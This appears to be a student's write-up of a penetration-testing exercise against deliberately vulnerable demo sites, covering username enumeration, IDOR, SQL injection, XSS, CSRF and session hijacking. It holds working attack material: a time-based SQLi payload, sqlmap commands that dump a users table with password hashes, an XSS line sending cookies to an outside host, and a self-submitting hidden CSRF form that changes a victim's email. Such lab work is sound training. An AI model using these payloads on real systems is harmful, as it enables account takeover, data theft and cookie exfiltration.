Pentesting-Live-Targets

Finding vulnerabilities on a live demo site.

1. Username Enumeration (Green Site)

When someone enters a valid username, and invalid password in the login page, it will respond with a BOLD error message. However, when someone enters an invalid username/password, the error message will NOT be bold. An attacker can easily guess valid usernames this way, as an easy first step to penetrating the system.

You can see the culprit, which is a small difference in CSS classes ("failed" vs "failure"):

This exploit could have been easily prevented by always showing the same error message with only one CSS class.

Demo:

2. Insecure Direct Object Reference (Red Site)

The red site allowed a user to simply edit the id parameter on salesperson.php which would reveal information about a salesperson even if they were not an active salesperson. In the demo below, I was able to reveal two salespeople, one was fired, and another not active yet.

This was the easiest exploit to find out of the bunch, the hyperlink of the salesperson's name on territories.php was one of the first places I looked to test for vulnerabilities.

Demo:

3. SQL Injection (Blue Site)

I found a SQLi exploit on the same URL as the previous vulnerability, but on the Blue site. The salesperson.php?id=1 URL was susceptible to a boolean-based blind attack as well as a AND/OR time-based blind attack. I used the latter in the demo below. By adding ' OR SLEEP(7)=0--' to the query, you can see it caused a 7 second delay.

Many times you can use AND instead of OR when testing for SQL injection points, but you will most likely need to alter the logic of the code you're trying to inject. It will all depend on how much information you have about the query and valid data.

Digging deeper, we but our new found exploit into SQLmap to get even more info out of this chink in the armor.

Running the following sqlmap queries ...

sudo sqlmap -u "https://35.224.216.190/blue/public/salesperson.php?id=1" --dbs --random-agent
sudo sqlmap -u "https://35.224.216.190/blue/public/salesperson.php?id=1" --dbms=mysql --random-agent -D globitek_blue --tables
sudo sqlmap -u "https://35.224.216.190/blue/public/salesperson.php?id=1" --dbms=mysql --random-agent -D globitek_blue -T users --columns

Resulted in ...

available databases [7]:      Database: globitek_blue         Database: globitek_blue
[*] globitek_blue             [8 tables]                      Table: users
[*] globitek_green            +-------------------------+     [7 columns]
[*] globitek_red              | countries               |     +-----------------+--------------+
[*] information_schema        | failed_logins           |     | Column          | Type         |
[*] mysql                     | feedback                |     +-----------------+--------------+
[*] performance_schema        | salespeople             |     | created_at      | datetime     |
[*] sys                       | salespeople_territories |     | email           | varchar(255) |
                              | states                  |     | first_name      | varchar(255) |
                              | territories             |     | hashed_password | varchar(255) |
                              | users                   |     | id              | int(11)      |
                              +-------------------------+     | last_name       | varchar(255) |
                                                              | username        | varchar(255) |
                                                              +-----------------+--------------+

And then the coup d'état...

sudo sqlmap -u "https://35.224.216.190/blue/public/salesperson.php?id=1" --dbms=mysql --random-agent -D globitek_blue -T users --dump

to get our users =)

Database: globitek_blue
Table: users
[3 entries]

| id | email               | username  | last_name | created_at          | first_name | hashed_password                                              |
| -- | ------------------- | --------- | --------- | ------------------- | ---------- | ------------------------------------------------------------ |
| 1  | test@test.com       | jmonroe99 | Munroe    | NULL                | Jim        | $2y$11$Co5fHvH5Lgk2Zu0iHR46BO6fnqQt1pUljPbZOhk7bTU6hQFhjBJG. |
| 2  | lbt2000@nowhere.com | lbtables  | Tables    | 2016-06-03 19:33:54 | Bobby      | $2y$10$I.Jwfc8R3xaFwlAlPn5U3OLAQXrE0c2fakN8rR4j2TW0gRVMd6U6a |
| 3  | person@nowhere.com  | pperson   | Person    | 2017-01-01 02:50:26 | Pat        | $2y$11$FHZQn1eWZ3mbn11evb3CSeM20LCsJZI8yP9wS/UsOI6VWnx.7mKDa |
Demo:

4. Cross-Site Scripting (Green Site)

In the Green site, the "Contact Us" form allows scripts to run, making it vulnerable to cross-site scripting attacks. In the demo below, a proof of concept is shown.

I was able to get the XSS to redirect the logged in user to another site with a script <script>location.href='http://temp.run/c.php?c='+escape(document.cookie)</script> where I attempted to collect cookies. There were a few problems with my methodology, as the cookies are HTTPonly and not readable by the script I used, and would not load any other customer feedbacks load after my script took the user away from the site. However if I set manual cookies (other than PHPSESSID), the script could read those values and store them on my home server.

Stored XSS attacks could take months before being triggered, so some useful things for such an attack would be a callback to a server that can phone home and let you know there's been an update, and possible a function to keep the cookie alive and fresh.

Demo:

5. Cross-Site Request Forgery (Red Site)

The Red site does not verify csrf-tokens or check the referer information on POST requests to staff/users/edit.php. So one can take advantage of this fact by creating a hidden, self-submitting form on another site and luring an existing user to clicking a disguised link to their malicious form. This is exactly what I've done in the demo below. You can see that the form was made to edit the user's email address. In most situations this would be a severe bug since a simple password reset would inevitably give access over to the attacker and lock the user out of their own account.

This vulnerability was the most difficult to demonstrate because of issues I ran into while testing. Unbeknownst to me, newer browsers have automatically disabled CSRF forms targeting blank iframes.

HTML for Hidden Form:
<html>
  <head>
    <title> </title>
  </head>
  <body onload="document.updateForm.submit()">
      <iframe name="results" style="display:none;"></iframe>
      <form name="updateForm" action="https://35.225.242.204/red/public/staff/users/edit.php?id=1" method="POST" style="display: none;" target="results" >
        <input type="hidden" name="csrf_token" value="ShouldNotMatter" />
        <input type="hidden" name="first_name" value="Jim" />
        <input type="hidden" name="last_name" value="Munroe" />
        <input type="hidden" name="username" value="jmonroe99" />
        <input type="hidden" name="email" value="HACKED@BadNewsBears.com" />
        <input type="hidden" name="previous_password" value="" />
        <input type="hidden" name="password" value="" />
        <input type="hidden" name="confirm_password" value="" />
        <input type="submit" />
    </form>
  </body>
</html>
Demo:

6. Session Hijacking/Fixation (Blue Site)

The Blue site is susceptible to session hijacking and fixation. In the following examples, two different browsers are used to demonstrate the exploit, highlighting the fact that the Blue site does not check to see the user-agent matches previous sessions.

An attacker will most likely have an easier time executing a session hijacking over a fixation since there are more ways to steal a cookie or sessionid. For a session fixation, you'll need to phish someone to go to a rogue CSRF form. Session fixation is much easier to defend against because you can make it very difficult to fix a session id if your server only accepts session ids from server cookies and not GET/POST requests. If you do this along with using HTTPonly cookies, it will make a hackers life much harder.

I am still attempting to circumvent HTTPonly cookies that contain the PHPSESSID via XSS and log them on my personal server for session hijacking.

Demo (Session Hijacking):

Demo (Session Fixation):